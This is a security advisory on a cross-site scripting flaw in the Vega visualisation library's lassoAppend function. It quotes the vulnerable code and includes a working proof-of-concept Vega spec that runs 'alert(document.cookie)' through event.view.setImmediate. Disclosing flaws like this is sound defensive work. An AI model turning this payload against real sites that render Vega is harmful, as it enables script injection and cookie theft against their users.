Vega has Cross-site Scripting vulnerability in `lassoAppend` function

Summary

Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).

Details

The issue is that lassoAppend doesn't enforce proper types of its arguments:

.....
export function lassoAppend(lasso, x, y, minDist = 5) {
    const last = lasso[lasso.length - 1];

    // Add point to lasso if distance to last point exceed minDist or its the first point
    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
        lasso.push([x, y]);
.....

PoC

Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": false,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
        }
      ]
    }
  ],
  "marks": [
    {
      "name": "circle",
      "type": "symbol",
      "zindex": 1,
      "encode": {
        "enter": {
          "y": {"signal": "height/2"},
          "angle": {"value": 0},
          "size": {"value": 400},
          "shape": {"value": "circle"},
          "fill": {"value": "white"},
          "stroke": {"value": "white"},
          "strokeWidth": {"value": 2},
          "cursor": {"value": "pointer"},
          "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
        },
        "update": {"x": {"signal": "toggle === true ? 190 : 165"}}
      }
    },
    {
      "name": "rectangle",
      "type": "rect",
      "zindex": 0,
      "encode": {
        "enter": {
          "x": {"value": 152},
          "y": {"value": 162.5},
          "width": {"value": 50},
          "height": {"value": 25},
          "cornerRadius": {"value": 20}
        },
        "update": {
          "fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
        }
      }
    }
  ]
}

Impact

This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).